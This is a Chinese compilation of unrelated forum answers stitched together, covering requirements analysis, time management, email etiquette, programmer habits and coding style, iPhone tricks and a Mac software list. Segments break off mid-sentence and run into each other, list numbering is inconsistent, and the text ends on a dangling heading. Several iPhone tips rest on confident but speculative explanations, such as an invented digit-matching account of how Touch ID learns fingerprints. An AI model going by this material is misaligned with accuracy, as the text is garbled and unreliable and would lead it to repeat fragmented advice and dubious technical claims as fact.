    当测试人员发现一个BUG,第一时间肯定是交给开发人员修复,那么这些BUG都是开发造成的吗?不一定!很多BUG其实是由需求造成的。那么如何控制需求呢?

    接到需求需要问的几个问题:

    1. 就这个需求而言,客户/用户真正需要的是什么?如果客户提出“我需要一匹跑的更快的马”,你可能会为客户提供一匹汗血宝马。但是客户的真正需求是“更快”,而马只是一个解决方案,因为在汽车刚发明的时候,他可能从来没有见过汽车。
    2. 这个需求真的有价值吗?如果用户提出在一个在线游戏平台做一个虚拟商品拍卖的功能,但是虚拟商品的有效期非常短,那么明显这个拍卖功能就没什么价值,因为拍卖不可能那么高时效性。
    3.这个需求是合理的吗?有没有隐藏的疏漏或者BUG。
    4. 给出的需求信息里面是否完整包含“作为一个【角色】, 我想要一个【功能描述/目标期望】以满足【商业价值】”这里面的三个要素。
    5. 这个需求是否还有其他关联/隐藏的疑虑需要考虑?

    如果上面问题都解决了,那么就可以接着解决以下两个问题:

    1. 这个需求能否分解为更小单位的需求?这样可以方便分配开发任务。
    2. 这个需求如何进行测试? 任何需求都需要保证能够被测试。

    在保证需求没有问题以后,就可以按照下面的步骤处理需求:
    1. 对需求进行优先级排序。
    2. 把需求分解为最小可开发的Task(任务)
    3. 如果还有遗留的问题/风险,建一个Task来处理这些风险/问题。

    第四更:如何高效的管理自己的时间(感谢@林嗣帮忙翻译)
    定期回顾一下前一段时间都做了什么,时间都花费到哪里了
    分析一下自己的强项和弱项,弱项更可能花费更多的时间
    列出自己近期的目标,并按优先级排序
    确保自己的工作方向与上级工作要求保持一致(避免返工)
    掌握瑞士奶酪法–在一个比较大的任务中使用"见缝插针"的方法利用时间,而不要消极等待整块时间的出现
    详细的规划自己的任务进度
    结合自己的工作计划建立自己的日程表,并保持不断的更新
    把工作和生活划分开,留出固定的时间给私人生活(不然会很累)
    把简单的工作尽早完成
    可以不参加的会议坚决不要参加
    不要太为难自己–如果你觉得事情太多掌控不过来,那就从最重要/最紧急的一件一件的去做
    第五更:写电子邮件的10要10不要(感谢 @丁丁帮忙翻译!)

    10不要:
    Don’t write a novel—avoid long sentences
    不要在邮件里面写小说 – 避免长篇大论,避免使用长句子
    Don’t use email to discuss confidential information
    不要用邮件讨论机密信息
    Don’t write in CAPITALS
    不要全部使用大写字母(不要使用怪异字体)
    Don’t copy a message or attachment without permission
    不要在未经许可的情况下复制消息或附件
    Don’t overuse the high priority option
    不要滥用“重要”标签
    Don’t leave out the message thread
    多使用邮件的回复功能以保留必要的背景信息
    Don’t ask to recall a message
    不要要求对方撤回邮件
    Don’t make things “urgent” if they are not
    不要滥用“紧急”标签
    Don’t forward virus hoaxes and chain letters
    不要转发恶作剧病毒和连锁信件
    Don’t reply to spam
    不要回复垃圾邮件

    十要:
    Do be concise and to the point
    表达做到简洁到位
    Do know the appropriate use of: To, CC, and BCC
    知道得体的使用“收件,抄送,密送”
    Do minimize the use of the “reply to all” button
    做到尽可能少用“回复给所有人”按钮
    Do use proper spelling, grammar & punctuation
    恰当的使用字母拼写,语法和标点符号
    Do answer all questions, and preempt further questions
    确保回答所有的问题,避免更多的问题
    Do answer swiftly
    做到迅速回复
    Do take care with abbreviations and emotions.
    谨慎使用缩写和表情符号
    Do use a meaningful subject line
    使用有意义的标题
    Do avoid sending personal emails from your office address
    避免在办公地点发送私人邮件
    Do read the email before sending
    发送邮件前通读一遍确认

    第六更:撰写邮件的几个技巧
    记住KISS原则… Keep It Short and Simple!
    1.抓重点,邮件第一句话就把五个W讲清楚(Who, What, When, Why, Where)。
    2.邮件结尾写明你需要对方做什么或者你会做什么。
    3.站在阅读方的视角来写邮件
    4.一封邮件尽量只说一件事
    5.如果有多个问题,用数字标出来,这样对方更容易根据问题序号一个一个回答
    6.做好保密工作,特别在回复所有人的时候。
    7.谨点发送按钮(确认是否发送对象是否正确、是否缺少附件等)

    第七更:自我总结
    上面提到的这些技能是职场或者办公室相关的一些工作技巧和沟通技巧,这些软技能有助于打造自己的专业素养综合素质,但是就程序员本职工作来讲,我认为还有以下技能掌握了以后会让你在共走中更得心应手,这部分是我在回答其他问题的时候总结的,列在这里供大家Whitespace Obsessive-Compulsive Disorder 是属于 Source Code Formatting Obsessive-Compulsive Disorder 的一种,如有以下徵状:
    「为什么这行行末会有空格?!」
    「为什么这逗号后没有空格?!」
    「这里为什么是 tab 而不是 4 个空格?!」
    「不是说好用 LF 不用 CR+LF 么?!」
    「为什么这源文件最后一行不是空行?!(C99标准

    负面影响:
    0.随身携带一个U盘启动盘,里面有各种Ghost镜像,生怕去哪家亲戚对方说“哎,花生真是长大出息了,你说你是程序员?正好最近电脑特别卡,你给我“修修”or“重装”系统吧~~”
    要是手里没有U盘启动盘表示做不了,对方又该开启嘲讽模式了……
    所以我现在走到哪都带个U盘启动盘,走到哪系统做到哪,前段时间去朋友家还给他家的笔记本和台式机重装了系统……
    当然也有没有救的情况:
    “电脑卡怎么办?”
    “(看了下电脑,嗯,1G的内存)换电脑。”
    “手机也卡怎么办?(知道电脑是3年前的电脑)”
    “(中关村查下型号)换手机……”
    “这不科学!手机是半年前才买的”
    “可是你你半年前买的是1年前的手机啊”

    1.习惯的Ctrl+S按键。在浏览网页的时候总是习惯的按Ctrl+S,这种情况特别是在某些有文本编辑功能的网站中出现的频率多,比如知乎和论坛什么的,完成一段文字就想来一下,而且弹出文件保存窗口我还会觉得很诧异?!
    “哇,编辑了一大段文字,容我Ctrl+S保存下。”
    “欸?怎么弹窗了,难道我一直没存文件?”
    “等等,我现在是在…”

    2.写分号“;”;有时候会在一个句子结束后习惯性的写分号;有段时间写JavaScript的时候(一门可加分号也可不加的奇怪语言);经常告诉自己要养成加分号的好习惯……;然后就带到日常打字中了……;
    最不能忍的就是,在群里聊天用分号,他们竟然说我强行秀!太过分了!识破速度太过分了!

    3.经常添加空格来增强句子可读性。比如日常中有时会用到一些符号两边会空格。
    “吃货 = 努力 + 选择”
    “水果沙拉活动 – 策划”
    钱多话少死的早,智商传给下一代。
    —— 布时沃·硕德

    4.注意文本对齐。但是有时会因为不是等宽字体所以对不齐……很难受
    张三 ——– 2014
    王麻子饼 — 2015

    6.打开电脑第一件事是启动Firefox,然后起身去干点别的……不过最近把Firefox清了清插件,装在ssd里,启动速度快多了,20秒内就能启动好了(´∀`∩)
    Firefox是一款浏览器,火狐浏览器。
    第一次接触Firefox觉得这浏览器绝了,就像汇源果汁一样(果汁竟然可以做的那么难喝),浏览器竟然可以启动这么慢,比肩Photoshop,死国矣!
    ……然后就爱上了Firefox,一直作为主浏览器用。要说为什么呢,可能是说出去比较有气势吧。
    “嘿,你用什么浏览器?”
    “浏览器?我一般用搜狗浏览器”
    “哦哦,我用Firefox(提高音量)”
    嗯,大概是 启动最慢+名字最霸气 的浏览器了。
    PS:其实用Firefox有比较深层的原因,详见:征文:你为什么选择Firefox? – 花生PeA 的回答

    7.电脑桌面一个图标都没有(win7),启动全靠工具栏的桌面功能。
    8.一本正经的胡说八道更像真事一样了。
    “嘿,花生,找着对象了没?”
    “找到了(内心:new Object();)”
    “找到了?这么厉害?”
    “那当然,以前只是我不想找,要是我想的话,哼哼~~(内心:while(1) new Object();)”

    9.能听懂理解别的程序员的言外之意。
    我听过对我说的最狠的话:
    “花生,听说你正则表达式写的好?”
    “也不能说好吧,也就会简单用用”(内心:哇咔咔终于可以秀一波了!快问我快问我~)
    “哦,怪不得写字都像正则表达式一样”(转身走)
    “!!!”(石化中)
    写个简单的邮箱正则表达式你们感受下:/^w+@(w+.)+w+$/i
    (PS:由于正则表达式可读性很差,所以写的时候清晰,但是一换行,花生就再也不认识它了)
    “你的字就像正则表达式一样!”
    “就像正则表达式一样!”
    “表达式一样!”
    “一样!”
    (O_O;) 莫大的羞辱啊!!

    a.你们以为下一条是第10条吗?不,我是不会让前导数字破坏整天对齐的!看我祭出远古禁术 —— 16进制 !
    (狂风大作,答主站在一个巨大的魔法阵中央,四周有很多奇怪的字符旋转着……仔细一看好像是…0123456789abcdef)

    b.差点忘说最大的变化,自从写代码以后,最大的变化就是笑点变的极低。
    有时候会因为别人一句无意抖机灵的话笑很长时间,笑到肚子疼嗓子哑。
    有一天晚上,在知乎看到了一些日式冷吐槽的图,然后就停不下来了……
    而且现在有时候会莫名的发出笑声,附近的人会觉得很诡异,其实只是我不小心想到某些好笑的事情了。
    当然有时候是脑补的结果,就像上一条那样

    1.喜欢考虑后果和临界值。曾经写过一个面向用户的爬虫,由于用户有可能没有任何计算机基础,所以我不得不花很大的一部分精力来考虑用户有可能产生哪些不该发生的操作。
    一开始是这样的:
    – 程序君:欸?用户,你介个样子叫我很难做咩……
    后来干脆:
    – 按钮君:你看不见我 你看不见我 你看不见我 …
    所以现在做一件事要比之前多考虑很多很多……

    2.养成了反思的好习惯。每次有bug了,不用想,肯定是自己的错,尽管认为自己没有错,但是肯定是自己哪里错了。然后就仔细反思代码的逻辑哪里不对……
    所以生活中一件事情发生后我总是会反思自己哪里做的不对,下次怎么做。

    3.忍耐度变高了。曾经写了一个上千行的JavaScript爬虫,没有面向对象 没有分层,乱的简直是不堪入目,所以调试起来bug也是满天飞,有时候风大丢能糊我脸上……
    曾经被一个bug困扰了整整1天,一天什么都没干,就为了调这个bug。而结果是,这个bug没调好,反而倒是修复了很多其他奇奇怪怪的bug……而且还把我气哭了好几次……
    现在的我已经被bug调教的很听话了。

  4. 注释缩进什么的代码风格规范里都会规定好啊。一般不会有太大的争议。但总是有规范照顾不到的地方比如:

    // 用这种……
    void DoSomeExtraordinaryComplicatedWork(VeryLongClassA very_long_variable_name_a,
    VeryLongClassB very_long_variable_name_b,
    VeryLongClassC very_long_variable_name_c);

    // 还是用这种:
    void DoSomeExtraordinaryComplicatedWork(
    VeryLongClassA very_long_variable_name_a,
    VeryLongClassB very_long_variable_name_b,
    VeryLongClassC very_long_variable_name_c);

    // How about member initializer lists
    class A {
    public:
    A(TypeA a, TypeB b, TypeC c, TypeD d) :
    a_(a),
    b_(b),
    c_(c),
    d_(d) {}

    private:
    // …
    };

    class B {
    public:
    B(TypeA a, TypeB b, TypeC c, TypeD d)
    : a_(a)
    , b_(b)
    , c_(c)
    , d_(d) {}

    private:
    // …
    }
    想要纠结多久就能纠结多多久!

    我写程序时,听且只能听三首歌:
    调代码:I hate myself and I want to die —Nirvana
    写代码:Baby you’re a rich man —- The Beatles.
    改代码:历史的天空 —– 毛阿敏

    在我不断探索下,我终于找到了等编译时候听的歌。
    Derezzed by Daft Punk.
    藏癖:在Github上看到有意思的项目,就要点Star收藏,明知道自己十有八九是不会看的。

    黑盒焦虑:对于一个库、框架、完整的系统,总想弄明白它的内部实现。都是开源惯的。

    爱折腾:喜欢造轮子,不管轮子已经被造了多少次,只要不是自己写的,就不是最好的。看看现在有多少语言、web框架、前端mvvm框架。
    我要双显
    我要机械键盘
    我要MBP
    ACM
    算法才编程,数学是上帝
    不工程化就不叫工程
    TDD第一,拖三个月不要紧
    大牛一定对
    未批嗯要免费,反复配置goagent,贵的服务都不是好服务 http://jump.im/i6
    看书看一本
    中文才叫书
    博客比书强
    开篇就class
    依赖要按alphabet排列
    一定要用最新工具
    不自动化不叫测试
    程序设计就是设计模式
    =号纵对齐
    你一定要这样
    你一定不要这样
    你不这样就垃圾

    路过,不知道这个算不算!我03年学习面向对象思想,然后学完就把宇宙万物都看成了我的类库和组件库了。这么多类我应该可以干很多好玩的东西出来。
    接口:地铁造价32亿,两块钱调用。
    代码:干任何事都是目标=算法+资源。
    对象:万物皆可new(),打工到公司首现霸占各种资源,充分填充类库。
    算法:武林秘籍,宇宙真理。
    组件:一切的一切皆是组件,比如一片树叶也是组件。当然组件也是对象,当然也可以调用。
    SDK:办事指南,产品说明书,用现成的。调用合作伙伴公司的资源,并肩作战。
    逆向:看到产品就想出对方公司生产工艺,甚至连整个公司的运作流程都能猜出来。//更新:因为在我眼里那些是功能模块而已,是可以反编译出来的。
    ide:公司,组织,工厂,集团公司等等。
    迭代:公司的一切都需要不断优化打磨,进化。
    编译:输出产品、零件、配件、等。
    数学:宇宙的抽象。
    界面:看人看物都是美不美。参考服务员
    体验:看人看物好用不好用。参考大东莞
    抽象:物理世界中一切作业都可以抽象成算法+资源。
    反正现在出来混,感觉资源满满,一切皆可调用。宇宙向人类暴露的接口其实都是差不多的,关键看你的方向是什么。
    把面向对象思想用于人生的各个方面,这有助于为我们看清事物的本质,提高我们学习和工作的效率。感觉思维方式被解锁了。

    这强迫的很严重啊……

    1. 大括号问题,我是 C 程序员,习惯使用大括号独占一行的方式,第一次进入 eclipse 编程环境编写 Android 程序时各种不习惯,默认新建一个函数都是大括号紧贴函数头的,后来使用格式化代码的功能的时候,把我之前设置好的所有独占一行的大括号全部并到上一行末尾去了,我很不甘心,在设置里找了很长时间,终于把大括号的习惯给设置好了。后面再看觉得特别舒服。

    2. 变量定义及初始化阶段,相应的语句结构为 <类型> <标识符> = <初始化值>。个人习惯于各个区域对齐,也就是标识符和标识符对齐,等号和等号对齐。举例说明:
    void foo()
    {
    int i = 0;
    int j = 0;
    char szNum[] = "99";
    char key = 0x00;
    MY_STRUCT* tmp = NULL;

    // something to do
    } // foo()
    3. 由上一点引申出来的,变量名(尤其是函数中的临时变量)尽量起等长的名字,很多时候会用到一些缩写。

    4. 事先补全括号,看到红波浪线就不舒服。最早是在 VS 里做开发的,刚换到 CodeBlocks 的 IDE 时,那里面的自动括号补全机制我还不适应,经常多打一个右大括号出来,现在渐渐适应。

    5. 右大括号处必须写上注释表明是哪一个语句块的结束。当然这是因为之前公司的硬性规定,现在也渐渐习惯了,反而看到光秃秃的右大括号很不舒服。

    6. 关于条件语句。如果要判断一个变量是否与某个常量值相等,习惯于将常量值写在等号左侧,变量值写在等号右侧,这样的话,一旦双等号误写为单等号,编译器会报错,否则编译器不会报错,很难找错。当然这也是 VS 环境的历史遗留问题,在 CodeBlocks 环境下,由于使用的是 GCC 编译器,所以出现上述不规范写法时编译器会报 warning,我也能看到。而且后来越来越多的双变量值比较,这个方法就没什么卵用了,只是我已经习惯了。

    7. 空格和 TAB 问题。之前在 VS 的时候习惯用 TAB,但现在只习惯用空格,原因就是 TAB 的标准不统一,对于我这种 Windows 和 Linux 双平台的用户,代码在不同平台下展现的效果不同。而且 TAB 字符不是标准的 ASCII 码字符,VS 默认是 ANSI 编码,而 CodeBlocks 默认是 UTF-8 编码,有兼容性问题。

    8. 形参的类型问题。我个人写的函数,所带上的形参,如果只是引用它的值,不更改它本身,那一定是加 const 的,否则就是赋地址调用。也就是说,一定是下面两种形式中的一种:
    void foo(const int bar);
    void foo(void* bar);
    绝对不可能出现这样子的形式:
    void foo(int bar);
    否则各种不舒服。
    Enfield Lee 光是准时上班就已经竭尽全力了
    被异步编程虐坏的孩纸们,你们的日常生活都遭受了哪些不良影响? – 程序员

    虽然我是纯业余的,但是
    随便写点什么就会打开vim,用上Markdown语法
    不管用什么编辑器总会:w
    懒得切换输入法所以只打英文,或者只打中文,几乎不混排
    对中文标点特别敏感
    开机第一件事是打开浏览器,第二件是打开邮件客户端,第三件是打开终端
    不用带广告的软件,steam除外
    喜欢深色背景
    不习惯使用不能分屏幕的文件管理器,甚至有时候宁可打开终端也不想在一个个窗口之间Alt+Tab
    每次想要关机了,才发现打开的网页不下二十个了,再一个个检查是否有收藏价值
    想做个什么事,都会去搜一番攻略,定一个roadmap,而不是找身边人商量
    在挑选工具,尝试新工具上会花很多时间,玩游戏也是
    看各种说明书,不论中英文,总能在最短的时间全看完,man这种自带查询功能的说明书除外,同时Ctrl+F
    用得特熟练
    看到别人的GitHub就像看到豆瓣一样
    约定的时候常常会迟到,但不会超过十分钟,偶尔早到十分钟以上,就会拿出什么东西看起来
    即便内心怨气冲天但从不发火,默默地写个正则替换掉那些奇怪的空格键
    对那些标点符号附近的空格非常敏感

    当然啦,这些强迫行为并非是强迫症,有些还是职业素养。
    强迫症患者的强迫行为是自己明明知道不想做,而控制不了忍不住非要去做的行为,会给自身带来了困扰,而我身心如一,没有困扰,哈哈!

  5. iOS本身的小技巧:
    仅限6和6+。轻触两次Home键变单手模式-在上方空白处下拉即可唤出通知栏-配合Launcher或者其他快捷启动软件,即可不用每次按Home才能在几个app间切换 【assistive touch个人觉得真的很膈应】
    看到限免二话不说先下为敬,有种赚到了的快感。嫌费流量的话,在app store里刚开始下就取消掉,这样你的账号就已经以限免的价格购买了,以后要的时候在“已购买”里重新下就行【捂脸遁地,但真的省了不少¥,很多时候一个限免的应用说不准未来啥时候要用】
    经常访问的网页可以做单独的书签放在桌面(分享-添加到主屏幕);
    经常拨动静音键有助于提升生活幸福感;
    隐私里基于一些地理位置的服务可以选择性关掉,原因 – 广告,流量,额外电量消耗,隐私(iPhone会默认记录你常处在的地方,然后呢~你懂)【隐私这个问题,一般在出事之前你都不会认为是问题】
    申个美区账号吧,Day One这类的优质应用就是用美区账号趁国外活动免费时收的,太爽;
    FaceTime?有两个苹果设备的话,灵活用这个功能,一个放在厨房监视炉子的情况,另一个放在床上【懒是第一生产力】
    自定义iOS铃声,这个百度就有,用iTunes稍捯饬一下,配合剪音乐的软件(推荐GoldWave比较傻瓜),和烂大街的铃声说再见吧【但是微信三全音至今都没找到除破解外的好方法】
    貌似iPhone是从来不需要担心空间会填满的,系统会自动通过照片压缩,清理缓存等方法省出一点点空间。许多iOS清理软件用的就是这个原理,制造大量数据填满手机让iOS自己清理,完了再自删;
    朋友买了软件,在我手机上登录他的账号,下载..完了把通知中心程序的提示角标禁止掉免得强迫症犯..【为避免被鄙视,要郑重说明是非家庭账号的我俩合资买的一个理论上万年不会更新的app】
    Touch ID经常解锁不了,这里有点小学问:
    相比一个指头多录几个数据,个人更推荐没事儿就进设置拿一个指头多摸摸,该指头对应的那一栏变灰了就说明识别成功。原因在于iPhone在识别你指纹时,将收集到的即时指纹数据和多套指纹匹配所花费的时间,会比与数据库里只有的一套指纹数据匹配所花的时间更长;

    平时多进设置的这个模块用变灰的方法摸摸,在于Touch ID会根据算法,将一定相似度以上的指纹并入数据库;

    比方你初始设置时录入的指纹数据是123456,当你手指破皮了,有汗渍了,粘鼻屎了,数据可能是123489,Touch ID一匹配,1234是匹配上了,则把这个指纹也算作正确的指纹,然后把89这两个数据也列入到你的指纹数据库内,下回你就可以拿345689解锁了。因为12345689都是你的数据。平时多摸摸,就可以把你这一套指纹的数据扩充起来,更易于快速匹配解锁。【7在默泪,它是打完球不洗手就去摸手机的那个数据】

    关于app:
    Symbols -特殊字符,微信聊天,命名文件夹之类挺有意思;
    Vidgets – 通知栏插件,覆盖功能很多,因为定位费电,我一般不设在通知栏里,用的时候再打开;
    Inkboard – 聊微信时聊得好好的,突然给对方画个图;
    IF – 用于发Instagram后,能在微博中自动同步显示“来自 IFTTT_Official"顿显逼格,就够了,才不好好直接在里面钩同步微博;
    平安Wifi – 说实话..有些网确实蛮快的;
    N Stats + My Data,通知栏分别占用一行空间,清爽显示 运存&剩余空间&即时网络上传和下载速度 + 该月已使用流量和进度;
    Launcher – 神器不再多解释了,除了自带的应用,网上可以搜些其他应用的快捷指令码,输进去设置下就好;
    百度云 – iCloud的5G哪够用,又小气的要死不愿掏钱怎么办?
    ArkVPN – 一般就用这个翻墙发发FB,Instagram之类,够用了;
    AppZapp:有些付费软件想买,但不着急用,可以等它降价或限免再收,用这个app可以设置心愿单,软件价格达到一定条件(低于一定值,或者免了)就会发邮件给你;
    生产工具:奇妙清单 + 自带备忘录(to-do list软件一多反而一个都不用),易企秀(做H5页面),简书(码码字),赤兔(傍大腿);
    摄影:VSCO Cam (老牌,也最常用),PhotoViva(打码),Camu(推荐摄影入门的用户),Altershot(快速处理截图的一些杂余的系统角标),Fonta(加字提升逼格),SlowShutter(长曝),Enlgiht & Pixelmator(功能太多还没来得及深挖,但是看得出是好应用);
    优质内容:开眼,国家地理,摄影玩家,Mono,网易云音乐;
    生活:生辰,数米基金宝..,Runkeeper, Day One, Sleep Cycle.

    2016.6.12更新
    1. Launcher更新2.0后经常弹出广告,遂换了AirLaunch. 这货有点厉害的是,可直接调用App内部的命令,比如微信直接进入票圈或扫二维码,网易云音乐可直接打开FM. 另外,可以模拟Home键,担心Home键按坏又不想用assistive touch的童鞋可直接通过通知栏的快捷键来模拟Home键了。美中不足是每次模拟Home键,要回下App再回桌面;
    2. Apple Pay:在锁屏界面用指尖按两下Home键,可直接调用Apple Pay,然后录入指纹;
    3. 用指尖按Home键也是iPhone技巧之一,不想解锁但需要按Home键时,可用这种方式;
    4. App Store 内,在历史购买记录里,左滑已购买的App可以隐藏该已购App, 通过iTunes可查看隐藏项;
    5. 有一个可彻底消掉动画效果(也就是秒开各种App没有过渡)的方法,无需越狱,答主用的非常非常爽,但升级9.3.2后再没试成功,补充该回答也是希望看有哪位老师能找到新方法。
    首先,在设置-通用-辅助功能中,打开“减弱动态效果”,然后打开Assistive Touch,将其拉到屏幕最右下角;
    其次,下拉屏幕打开Spotlight,小圆点快到键盘上方的时候,点击屏幕空白处取消Spotlight,反复十余次,就会发现键盘打开瞬间小圆点就往上跑了,而不是键盘动画走完了小圆点才开始上移,这时就处理成功了,可以关掉小圆点,各种App都是秒开。重启后即恢复。
    一次省零点几秒,成百上千次那省下的就是生命。

    首先把任意一个非自带的APP移到第二屏(如果你的APP已经有好几屏,可以忽略这个步骤)。然后把第一屏上的所有APP移到其他屏,你就能得到一个空白的第一屏。众所周知iOS 会把空出来的一屏自动删除,但是空出来的第一屏却不会,喜欢看自己壁纸的孩子可以试试这个方法

    iso8以后相机可以调AE/AF锁和曝光值,应该很多人知道,但目前我接触过的iphone6系列用户就没一个知道。

    相机界面上长按你想对焦的点,对焦点变成方框后,屏幕上方会提示AE/AF锁定,就成了。
    曝光值就是对焦框旁边的太阳标志,上下滑动就是增减或者降低曝光值。

    晚上在街上的时候先用AF锁定一个比较近的微距,比如自己的手指,然后自由取景,不要再点击屏幕,只需要点拍照按钮,就可以随便拍到这样的光斑了。(效果没这个好)

    为什么捏这是?
    我觉得是长度问题(゚ー゚)!
    是的,所以才有第五条“船票哈哈哈哈啊哈哈哈”。
    然而发现并不是长的就一定粗啊 (✿◡‿◡)

    一番摸索之后,真相只有一个:
    联系人名称里有任意其他“字符”,像-%*123符号数字,
    也就是除了汉字之外的任意字符,都会导致名称显示粗体。

    所以如何让联系人变粗?
    在名称后打个空格就好了,like this

    前后研究了20分钟,写了10分钟,
    1.录入指纹
    一个手指 录入两次
    大大增加识别率

    2.主屏幕翻页
    点击左下角或右下角边缘也可完成翻页操作
    不一定非要左拉右滑
    夜间用手机总觉得刺眼,屏幕亮度调到最低以后还是觉得不够暗。上次更新以后有了夜间黄光模式,但是这个功能也只是把屏幕变黄,我个人觉得在漆黑夜里还是有点太亮。
    所以我们可以打开设置-通用-辅助功能 打开缩放

    打开之后把【缩放区域】选为全屏幕,【缩放过滤器】选弱光

    然后返回缩放,打开缩放按钮,屏幕整个会变暗很多。点击缩放按钮以后,屏幕可能会被部分放大,但是没关系,三个手指在屏幕上轻点两下就可以还原成正常大小,依旧全屏弱光效果。
    觉得会太暗的话,结合原本的亮度调节自行调节即可。

    btw安卓就方便很多,有个app叫screenfilter(好像叫这个),是一个屏幕滤镜,打开就可以降低亮度。iPhone缩放调亮度的方法我在6sp和6、5s上都试验过,亲测有效。
    啊评论区有人指出其实可以更简单(•̀ω•́)✧
    前面缩放弄成弱光以后 打开辅助功能 拉到最底的辅助功能快捷键 选择缩放 然后连按三下home键就可以开启/关闭弱光效果辣!方便max (•̀ω•́)✧每代iphone,都只能升级到次年版本的最后一个版本号。

    之后就不要再升级。

    至到你常用的app不支持这个版本为止。手机作废。

    举例,iphone4最高是到ios5的最后版本。4s是到ios6的最后版本。5到ios7的最后版本,5s到ios8的最后版本,6到ios9的最后版本,6s到ios10的最后一个版本。

    这样能保证你的手机基本保持在一个相对流畅的层面上。
    才开始会很难弄进去,多试试。
    PS:如果你在访问限制里面不允许了安装应用,如果要下载软件更改允许,这就没用了。关机也是一样,一关机重启就没用了。就得重新弄。

    说个题外话,如果你用两个手一个手拖动"效率"不放,另一个手指点击的话成功率会很低。指法很重要

    升级iOS9.0以上,把小白点设置成只有主屏幕,返回桌面或者切换和关闭任务时比较方便。

    再答一个吧,这个方法很适用于16G内存的iPhone。
    首先打开设置查看剩余的内存容量,如果少于3g,返回桌面,打开iTunse store,要联网哦,找一部电影,体积一定要大于你剩余内存的,下载!手机就会提示内存不足,点好就可以了!然后手机就回自动清除内存了,一般会多1~2个G!
    app store里,连点十次商店下方就能实现刷新商店!点击黄点的地方。

    以下内容来自UC头条
    要想使充电时间瞬间快一倍
    很简单,在充电的时候打开飞行模式,这样可以大大提高充电速度效率。

    短信发送时间查看

    如果你有升级到iOS 8,那你可以把你的信息框往左拉,就可以看到时间了。

    拍照拍出分身术的照片

    这个方法比较有意思,利用iPhone的全景拍照模式,让被拍摄者走动,处于同一场景的不同位置。具体方法如下:

    1.进入全景拍照模式

    2.对准拍照对象

    3.慢慢平移相机,直到全景模式拍照结束

    4.这时记得让对象赶紧的跑出画面,从你背后绕着跑到镜头前面,但是不要入画

    5.等他再次摆好造型,再继续移动相机,这样最终完成拍摄

    “以后我们就可以,把一张毛爷爷拍成一大堆毛爷爷来炫富了!”
    玩转iOS通知中心

    下拉通知中心切换到“今天”就可以添加一些插件,即使在锁屏情况下也能快速打开常用App。告别Home键,在通知中心中一键启动蜂窝数据、微信朋友圈、扫一扫等应用及功能,还可以一键拨打联系人电话。那些翻几屏都找不到应用的人彻底Out了!

  6. 文件夹里面套文件夹,移动的时候一直戳文件夹的右上角就行了,可以用来把一些你不想被别人看到的软件藏起来

    1、新手机买到后,不要再升级系统
    2、不要买16G版

    一旦我不小心尝试破坏以上两条之后,都是后悔万分。

    ssistiveTouch进阶攻略

    设置~通用~辅助功能~AssistiveTouch

    很多人只会用AssistiveTouch替代home键 其实还有很多实用功能

    1.主屏幕(home键)

    2.屏幕快照(不用这么麻烦拿起手机同时按home键和电源键)

    3.锁定屏幕(轻轻点两下就能锁屏,个人感觉很方便)

    4.锁定旋转(感觉比从屏幕底下使劲往上抽方便多了)

    . iBooks: 在iBooks下打开书籍,双指从上往下滑动
    1.iPhone录入指纹左手一下右手一下,可录取十个!
    2.iPhone6S及以上设备在键盘上重按可移动光标。
    3.ios10beta1及以上在词典中可添加中文英文即可不用切换输入发输入双语言。
    4.iOS10beta1及以上在设置-通用-辅助功能-主屏幕按钮-轻触打开 可不用再次按Home键解锁iPhone
    5.设置-通用-辅助功能-AssistiveTouch-自定义顶级菜单-3D Tounch操作可设置重按截屏
    6.Apple Store连续点击dock栏任意一图标十次可刷新。
    7.Safari中长按返回可查看浏览记录,长按刷新按钮可查看桌面站点。

    效率之王:Afred小帽子:通过前人的配置,替代掉了 有道词典、发音工具、开关机、快速搜索、地图、Spotlight等应用。
    主力编辑器:Atom因为高颜值、强大的插件和预览功能 取代了之前的sublime、Bracket、Pycharm和Mou等。
    辅助编辑器:iPython、Rstudio、MacVim、Xcode
    文档查询:Dash 相当于一本开发者字典。
    SSH登陆:Zoc (ssh登陆免密码,区别于ssh证书登陆。),butterfly(直接将terminal构建在网页中,方便任意设备应急登陆服务器处理bug)
    数据库管理:Sequel Pro(MySQL)比较简洁 而且免费
    思维导图:Xmind
    团队协作:Teamviewer(屏幕共享)、Skype(语音通话)、Trello(任务分配)、QQ(普通协作)、http://Coding.net(代码管理)
    爬虫:http://import.io(超越scrapy的傻瓜式爬虫,可结合infogr.am做信息图)
    图片处理:Photoshop
    FTP登陆:Cyberduck代替了之前的FileZilla
    类似360工具:CleanMyMac
    Word类需求:基本用markdown解决,word应急。apidoc写api文档、sphinx写普通文档、knitr生成网页、slidify生成PPT、pandoc转换文档格式
    Excel类需求:Mac下用Google Sheet偶尔将就用一下excel,切换到Win下必用Excel。
    PPT类需求:Mac下用Keynote 作图,切换到Win下用Powerpoint
    辅助Git管理:GitHub Desktop、SourceTree、GitUp(http://Coding.net/GitLab)
    科学上网:之前是某径,现在是某摆(都停止了注册服务)
    个人wordpress站点管理:wordpress + MAMP + 各种wordpress插件
    Chrome插件:FE助手、GitHub助手、二维码生成器、vimium、批量图片下载器、悬停鼠标显示大图、chronos下载器
    下载:百度云盘、迅雷、新浪微盘
    邮件收发:MailBOX
    PDF修改: Abodbe Acrobat
    学术研究:LaTex、Lyx、Zotero
    辅助终端:iTerm、TotalTerminal、butterfly
    仿真Win:XtraFinder
    播客:安卓设备上基本不用,苹果设备上用Podcast,主要收听CNN Student News,Nightly News,Daily News,IT公论等
    金融软体:MT4
    简单自动化办公:Automator,配合shell和apple script脚本。
    高级自动化办公:Jenkins、Git、Docker
    语音识别:Mac用自带,移动设备用Google Now
    语音处理:Audition
    在线教育:YouTube为主,TreeHouse、极客学院、可汗学院、慕课、麦子、好奇猫、实验楼等为辅
    简单笔记需求:现在用苹果设备自带的Note,偶尔用Keep
    复杂笔记需求:曾经用Win的OneNote和Excel,后来用Evernote,现在基本用Git
    运行Win需求:VirtualBox,以备不时只需。也用来体验linux、Chrome OS
    常见软件管理:Brew和caskbrew
    密码管理:Keychain Access

    你最理想的工作环境
    最重要的是人。能和一群聪明的人一起努力工作,作息规律,热爱运动,拥有梦想,勇于探索,有极客精神

    你平时获得工作灵感的方式有哪些
    看新闻、和家人一起做饭、旅游、购物、看电影

    推荐一件生活中的利器给大家
    老婆。我很幸运有一个好老婆,我很爱她,她在生活和工作上都给到我极大的支持。

    老公的文章还有代码的传送门
    harryprince (HarryZhu) · GitHub
    Harry Zhu 的 FinanceR专栏:FinanceR – SegmentFault
    本文参与了「利器社群计划」,发现更多创造者和他们的工具:利器社群计划

    一、Safari 强制 HTML5 视频替换 Flash

